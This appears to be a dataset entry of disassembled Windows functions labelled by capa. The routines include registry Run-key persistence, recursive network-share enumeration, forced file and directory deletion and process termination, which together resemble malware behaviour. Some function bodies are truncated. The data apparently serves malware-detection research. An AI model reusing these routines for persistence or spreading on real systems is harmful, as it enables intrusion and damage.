joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404438
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40449e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403904
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402d38
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x404488
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4044a5
lea eax, [ebp - 0x10]
call fcn.004037a4
ret

Function at 0x404aec
Capabilities:
Query or enumerate registry value

Disassembly:
add esp, 0xffffff54
cmp byte [0x41a0ec], 0
jne 0x404bbe
mov byte [0x41a0ec], 1
xor eax, eax
mov dword [0x41a0e4], eax
mov dword [esp + 0x18], 0x94
lea eax, [esp + 0x18]
push eax
call sub.kernel32.dll_GetVersionExA
cmp dword [esp + 0x1c], 3
ja 0x404b34
cmp dword [esp + 0x1c], 3
jne 0x404b94
cmp dword [esp + 0x20], 0x33
jbe 0x404b94
mov dword [esp + 4], 9
push esp
push 0x20019
push 0
push 0x404bc8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x404bbe
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
push 0x404bf8
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x404bbe
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
cmp byte [esp + 8], 0x31
jne 0x404bbe
cmp byte [esp + 9], 0
jne 0x404bbe
jmp 0x404ba9
push 0
push 0x404bf8
push 0x404c00
call sub.kernel32.dll_GetProfileIntA
test eax, eax
je 0x404bbe
mov eax, dword [0x41a0e0]
call fcn.00403b1c
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [0x41a0e4], eax
add esp, 0xac
ret

Function at 0x4056ac
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403b0c
xor eax, eax
push ebp
push 0x405773
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004037a4
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.00403b1c
push eax
call sub.kernel32.dll_CreateFileA_1
mov esi, eax
cmp esi, 0xffffffff
je 0x40575d
mov eax, ebx
mov edx, 0x73
call fcn.00403c4c
push 0
lea eax, [ebp - 8]
push eax
push 0x73
mov eax, ebx
call fcn.00403b74
push eax
push esi
call sub.kernel32.dll_ReadFile_1
push esi
call sub.kernel32.dll_CloseHandle_1
mov edx, dword [ebx]
mov eax, 0x405788
call fcn.00403c04
test eax, eax
jne 0x40573e
mov eax, ebx
call fcn.004037a4
jmp 0x40575d
push ebx
mov edx, dword [ebx]
mov eax, 0x405794
call fcn.00403c04
mov ecx, eax
dec ecx
sub ecx, 0x50
mov eax, dword [ebx]
mov edx, 0x51
call fcn.00403b7c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40577a
lea eax, [ebp - 4]
call fcn.004037a4
ret
Function at 0x405798
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff6c
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403b0c
xor eax, eax
push ebp
push 0x405840
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
lea eax, [ebp - 0x94]
push eax
mov eax, dword [ebp - 4]
call fcn.00403b1c
push eax
call sub.kernel32.dll_OpenFile
mov esi, eax
cmp esi, 0xffffffff
je 0x405825
lea eax, [ebp - 8]
mov edx, 0x186a0
call fcn.00403c4c
push 0
lea eax, [ebp - 0xc]
push eax
push 0x186a0
lea eax, [ebp - 8]
call fcn.00403b74
push eax
push esi
call sub.kernel32.dll_ReadFile_1
test eax, eax
je 0x405825
push esi
call sub.kernel32.dll_CloseHandle_1
mov edx, dword [ebp - 8]
mov eax, 0x405858
call fcn.00403c04
test eax, eax
jle 0x405825
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405847
lea eax, [ebp - 8]
mov edx, 2
call fcn.004037c8
ret

Function at 0x405870
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403b0c
mov eax, dword [ebp - 8]
call fcn.00403b0c
xor eax, eax
push ebp
push 0x4058f2
push dword fs:[eax]
mov dword fs:[eax], esp
xor bl, 1
neg bl
sbb eax, eax
push eax
mov eax, dword [ebp - 8]
call fcn.00403b1c
push eax
mov eax, dword [ebp - 4]
call fcn.00403b1c
push eax
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
test byte [ebp + 0x10], bl
je 0x4058d7
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 8]
call fcn.00405dac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4058f9
lea eax, [ebp - 8]
mov edx, 2
call fcn.004037c8
ret
Function at 0x405950
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], edx
mov dword [ebp - 0x150], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403b0c
xor eax, eax
push ebp
push 0x405ae0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0040391c
cmp eax, 2
jl 0x405ab5
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x150]
mov ecx, 0x405af8
mov edx, dword [ebp - 4]
call fcn.00403968
mov eax, dword [ebp - 0x150]
call fcn.00403b1c
push eax
call sub.kernel32.dll_FindFirstFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405a8d
lea eax, [ebp - 0x154]
lea edx, [ebp - 0x120]
mov ecx, 0x104
call fcn.00403904
mov ecx, dword [ebp - 0x154]
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00403968
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x120]
mov ecx, 0x104
call fcn.00403904
test byte [ebp - 0x14c], 0x10
je 0x405a56
mov eax, dword [ebp - 0xc]
mov edx, 0x405b04
call fcn.00403a68
je 0x405a78
mov eax, dword [ebp - 0xc]
mov edx, 0x405b10
call fcn.00403a68
je 0x405a78
lea eax, [ebp - 0x158]
mov ecx, 0x405b1c
mov edx, dword [ebp - 8]
call fcn.00403968
mov eax, dword [ebp - 0x158]
call fcn.00405950
jmp 0x405a78
mov eax, dword [ebp - 8]
call fcn.00403b1c
mov esi, eax
push esi
call sub.kernel32.dll_DeleteFileA
test eax, eax
jne 0x405a78
push 0x20
push esi
call sub.kernel32.dll_SetFileAttributesA
push esi
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x14c]
push eax
push ebx
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x4059d5
push ebx
call sub.kernel32.dll_FindClose
mov eax, dword [ebp - 4]
call fcn.00403b1c
mov ebx, eax
push ebx
call sub.kernel32.dll_RemoveDirectoryA
test eax, eax
jne 0x405ab5
push 0x20
push ebx
call sub.kernel32.dll_SetFileAttributesA
push ebx
call sub.kernel32.dll_RemoveDirectoryA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405ae7
lea eax, [ebp - 0x158]
mov edx, 3
call fcn.004037c8
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004037c8
ret
Function at 0x405c6c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403b0c
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x405d7c
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0x130]
mov eax, dword [ebp - 4]
call fcn.004054a8
mov edx, dword [ebp - 0x130]
lea eax, [ebp - 4]
call fcn.0040383c
xor edx, edx
mov eax, 2
call fcn.00405218
mov esi, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, esi
call fcn.00405238
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x405d4c
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00403904
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.004054a8
mov eax, dword [ebp - 0x134]
mov edx, dword [ebp - 4]
call fcn.00403a68
jne 0x405d3d
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb ebx, ebx
inc ebx
mov edx, edi
mov eax, esi
call fcn.00405258
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x405cee
push esi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405d83
lea eax, [ebp - 0x138]
mov edx, 3
call fcn.004037c8
lea eax, [ebp - 4]
call fcn.004037a4
ret
Function at 0x4061dc
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403b0c
xor eax, eax
push ebp
push 0x406269
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [ebp - 4]
call fcn.00403b1c
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
call sub.kernel32.dll_GetLastError_1
test eax, eax
jne 0x406247
test ebx, ebx
je 0x406247
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, esi
call fcn.004038d4
jmp 0x40624e
mov eax, esi
call fcn.004037a4
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406270
lea eax, [ebp - 4]
call fcn.004037a4
ret

Function at 0x4065e0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor edx, edx
mov dword [ebp - 0x1c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x406640
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x15]
push eax
call sub.kernel32.dll_GetComputerNameA
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0x15]
mov ecx, 0x11
call fcn.00403904
mov eax, dword [ebp - 0x1c]
mov edx, ebx
call fcn.0040546c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406647
lea eax, [ebp - 0x1c]
call fcn.004037a4
ret

Function at 0x40664c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4066cb
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.00403904
lea eax, [ebp - 0x10c]
mov edx, 0x4066e0
call fcn.00403924
mov eax, dword [ebp - 0x10c]
mov edx, ebx
call fcn.004054a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4066d2
lea eax, [ebp - 0x10c]
call fcn.004037a4
ret
Function at 0x4067e8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403b0c
mov eax, dword [ebp - 8]
call fcn.00403b0c
xor eax, eax
push ebp
push 0x40688b
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
push 0x41b6c0
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403b1c
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [0x41b6c4], eax
mov dword [ebp - 0x10], 4
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00403b1c
push eax
mov eax, dword [0x41b6c0]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov dword [0x41b6c4], eax
mov eax, dword [0x41b6c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406892
lea eax, [ebp - 8]
mov edx, 2
call fcn.004037c8
ret

Function at 0x40689c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00403b0c
mov eax, dword [ebp - 8]
call fcn.00403b0c
xor eax, eax
push ebp
push 0x406960
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x41b6c0
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403b1c

Function at 0x406970
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax

Function at 0x406a60
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403b0c
mov eax, dword [ebp - 8]
call fcn.00403b0c
xor eax, eax
push ebp
push 0x406b05
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x41b6c0
push 0
push 2
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403b1c
push eax
push ebx
call sub.advapi32.dll_RegCreateKeyExA
mov dword [0x41b6c4], eax
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
mov eax, dword [ebp - 8]
call fcn.00403b1c
push eax
mov eax, dword [0x41b6c0]
push eax
call sub.advapi32.dll_RegSetValueExA
mov dword [0x41b6c4], eax
cmp dword [0x41b6c4], 0
sete bl
mov eax, dword [0x41b6c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406b0c
lea eax, [ebp - 8]
mov edx, 2
call fcn.004037c8
ret
Function at 0x406b18
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00403b0c
xor eax, eax
push ebp
push 0x406b9a
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, 0x406bb0
call fcn.00405904
test al, al
jne 0x406b84
mov eax, dword [ebp - 4]
call fcn.00403b1c
mov ebx, eax
push ebx
push esi
call sub.advapi32.dll_RegDeleteKeyA
push 0
push 0x41b6c0
push 0
push 6
push 2
push 0
push 0
push ebx
push esi
call sub.advapi32.dll_RegCreateKeyExA
test eax, eax
sete al
mov ebx, eax
mov eax, dword [0x41b6c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406ba1
lea eax, [ebp - 4]
call fcn.004037a4
ret

Function at 0x406c44
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403b0c
mov eax, dword [ebp - 8]
call fcn.00403b0c
xor eax, eax
push ebp
push 0x406cd3
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
jne 0x406c84
lea eax, [ebp - 8]
mov edx, 0x406cec
call fcn.0040383c
mov eax, dword [ebp - 8]
call fcn.0040391c
push eax
lea eax, [ebp - 8]
call fcn.00403b74
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403b1c
push eax
push ebx
call sub.advapi32.dll_RegSetValueExA
mov dword [0x41b6c4], eax
cmp dword [0x41b6c4], 0
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406cda
lea eax, [ebp - 8]
mov edx, 2
call fcn.004037c8
ret

Function at 0x406cf0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403b0c
xor eax, eax
push ebp
push 0x406d53
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
mov eax, dword [ebp - 4]
call fcn.00403b1c
push eax
push ebx
call sub.advapi32.dll_RegSetValueExA
mov dword [0x41b6c4], eax
cmp dword [0x41b6c4], 0
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406d5a
lea eax, [ebp - 4]
call fcn.004037a4
ret

Function at 0x406d64
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403b0c
mov eax, dword [ebp - 8]
call fcn.00403b0c
xor eax, eax
push ebp
push 0x406dfa
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x41b6c0
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.00403b1c
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [0x41b6c4], eax
mov eax, dword [ebp - 8]
call fcn.00403b1c
push eax
mov eax, dword [0x41b6c0]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov dword [0x41b6c4], eax
cmp dword [0x41b6c4], 0
sete bl
mov eax, dword [0x41b6c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406e01
lea eax, [ebp - 8]
mov edx, 2
call fcn.004037c8
ret
Function at 0x407604
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov ebx, 0x41bb14
xor eax, eax
push ebp
push 0x4078b3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, 0x4078c8
call fcn.004037f8
lea eax, [ebp - 4]
mov ecx, 0x4078e8
mov edx, dword [0x41badc]
call fcn.00403968
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x4078fc
mov edx, 0x40790c
mov eax, 0x80000002
call fcn.00406970
lea eax, [ebp - 8]
mov ecx, 0x4078e8
mov edx, dword [0x41badc]
call fcn.00403968
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x4078fc
mov edx, 0x407944
mov eax, 0x80000001
call fcn.00406970
mov eax, ebx
mov edx, 0x40798c
call fcn.004037f8
lea eax, [ebp - 0xc]
mov ecx, 0x4078e8
mov edx, dword [0x41badc]
call fcn.00403968
mov eax, dword [ebp - 0xc]
push eax
mov ecx, 0x4078fc
mov edx, 0x4079a8
mov eax, 0x80000002
call fcn.00406970
mov eax, ebx
mov edx, 0x4079e8
call fcn.004037f8
lea eax, [ebp - 0x10]
mov ecx, 0x407a74
mov edx, dword [0x41badc]
call fcn.00403968
mov eax, dword [ebp - 0x10]
push eax
mov edx, 0x40790c
mov ecx, 0x407a88
mov eax, 0x80000001
call fcn.00406970
mov eax, ebx
mov edx, 0x407a98
call fcn.004037f8
lea eax, [ebp - 0x14]
mov ecx, 0x407afc
mov edx, dword [0x41badc]
call fcn.00403968
mov eax, dword [ebp - 0x14]
push eax
mov edx, 0x407944
mov ecx, 0x407b10
mov eax, 0x80000002
call fcn.00406970
cmp byte [0x41bb58], 0
jne 0x407898
mov eax, ebx
mov edx, 0x407b20
call fcn.004037f8
push 0
mov ecx, 0x407b58
mov edx, 0x407b70
mov eax, 0x80000002
call fcn.00406970
push 0x407ba4
mov edx, 0x407b70
mov ecx, 0x407bb4
mov eax, 0x80000002
call fcn.00406970
push 0x407bcc
mov edx, 0x407b70
mov ecx, 0x407c04
mov eax, 0x80000002
call fcn.00406970
mov eax, ebx
mov edx, 0x407c18
call fcn.004037f8
push 0x407c98
mov edx, 0x407b70
mov ecx, 0x407cb4
mov eax, 0x80000002
call fcn.00406970
push 0x407cc8
mov edx, 0x407b70
mov ecx, 0x407cdc
mov eax, 0x80000002
call fcn.00406970
mov eax, ebx
mov edx, 0x407c18
call fcn.004037f8
push 0x407cec
mov edx, 0x407b70
mov ecx, 0x407d00
mov eax, 0x80000002
call fcn.00406970
lea eax, [ebp - 0x18]
mov ecx, 0x4078e8
mov edx, dword [0x41badc]
call fcn.00403968
mov eax, dword [ebp - 0x18]
push eax
mov edx, 0x407b70
mov ecx, 0x407d14
mov eax, 0x80000002
call fcn.00406970
push 1
mov edx, 0x407b70
mov ecx, 0x407d28
mov eax, 0x80000002
call fcn.00406a60
mov eax, ebx
mov edx, 0x407d40
call fcn.004037f8
push 3
mov edx, 0x407b70
mov ecx, 0x407dc0
mov eax, 0x80000002
call fcn.00406a60
mov eax, ebx
mov edx, 0x407ddc
call fcn.004037f8
push 2
mov edx, 0x407b70
mov ecx, 0x407df4
mov eax, 0x80000002
call fcn.00406a60
push 0x120
mov edx, 0x407b70
mov ecx, 0x407e04
mov eax, 0x80000002
call fcn.00406a60
mov eax, ebx
mov edx, 0x407e14
call fcn.004037f8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4078ba
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004037c8
ret
Function at 0x40dfd8
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x40dfe0
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x40e271
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x41bb14
mov edx, 0x40e288
call fcn.004037f8
lea eax, [ebp - 4]
push eax
push ebx
push 0x13
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x40e256
mov eax, 0x41bb14
mov edx, 0x40e350
call fcn.004037f8
mov dword [ebp - 0xc], 0x7e0
mov eax, dword [ebp - 0xc]
call fcn.004024d0
mov esi, eax
mov eax, esi
xor ecx, ecx
mov edx, dword [ebp - 0xc]
call fcn.00402bd8
mov dword [ebp - 8], 0x3f
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
je 0x40e075
cmp eax, 0xea
jne 0x40e212
mov eax, dword [ebp - 8]
dec eax
test eax, eax
jl 0x40e04d
inc eax
mov dword [ebp - 0x10], eax
xor ebx, ebx
mov edi, ebx
shl edi, 2
test byte [esi + edi*8 + 0xc], 2
je 0x40e097
lea eax, [esi + edi*8]
call fcn.0040dfd8
cmp dword [esi + edi*8 + 8], 3
jne 0x40e203
mov eax, 0x41bb14
mov edx, 0x40e3b4
call fcn.004037f8
lea eax, [ebp - 0x14]
mov edx, dword [esi + edi*8 + 0x14]
call fcn.004038d4
mov edx, dword [ebp - 0x14]
mov eax, 0x41bafc
mov ecx, 0x40e470
call fcn.00403968
inc dword [0x41bb40]
mov eax, 0x41bb14
mov edx, 0x40e47c
call fcn.004037f8
mov eax, dword [0x41bb40]
cmp eax, dword [0x41bb44]
jl 0x40e203
mov eax, dword [0x41bb40]
push eax
mov ecx, 0x40e49c
mov edx, 0x40e4ac
mov eax, 0x80000002
call fcn.00406a60
mov eax, 0x41bb14
mov edx, 0x40e4f4
call fcn.004037f8
mov eax, dword [0x41bafc]
push eax
mov edx, 0x40e4ac
mov ecx, 0x40e52c
mov eax, 0x80000002
call fcn.00406970
xor eax, eax
mov dword [0x41bb3c], eax
mov word [0x41a200], 0
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [0x41bad8]
call fcn.0040391c
mov ecx, eax
mov edx, 3
mov eax, dword [0x41bafc]
call fcn.00403b7c
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.0040546c
mov eax, dword [ebp - 0x18]
mov edx, dword [0x41bad8]
call fcn.00403a68
jne 0x40e19f
lea eax, [ebp - 0x20]
mov ecx, dword [0x41bafc]
mov edx, 0x40e53c
call fcn.00403968
mov eax, dword [ebp - 0x20]
call fcn.00418648
jmp 0x40e1c4
mov eax, dword [0x41bafc]
call fcn.0040d360
lea eax, [ebp - 0x24]
mov ecx, dword [0x41bafc]
mov edx, 0x40e550
call fcn.00403968
mov eax, dword [ebp - 0x24]
call fcn.00418648
mov eax, 0x41bb14
mov edx, 0x40e560
call fcn.004037f8
xor eax, eax
mov dword [0x41bb38], eax
mov eax, dword [0x41bb38]
push eax
mov edx, 0x40e4ac
mov ecx, 0x40e5dc
mov eax, 0x80000002
call fcn.00406a60
mov eax, 0x41bb14
mov edx, 0x40e5ec
call fcn.004037f8
inc ebx
dec dword [ebp - 0x10]
jne 0x40e083
jmp 0x40e04d
mov eax, esi
call fcn.004024f0
mov eax, 0x41bb14
mov edx, 0x40e654
call fcn.004037f8
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
je 0x40e247
lea edx, [ebp - 0x28]
xor eax, eax
call fcn.00406314
mov eax, dword [ebp - 0x28]
call fcn.00418648
mov eax, 0x41bb14
mov edx, 0x40e720
call fcn.004037f8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e278
lea eax, [ebp - 0x28]
invalid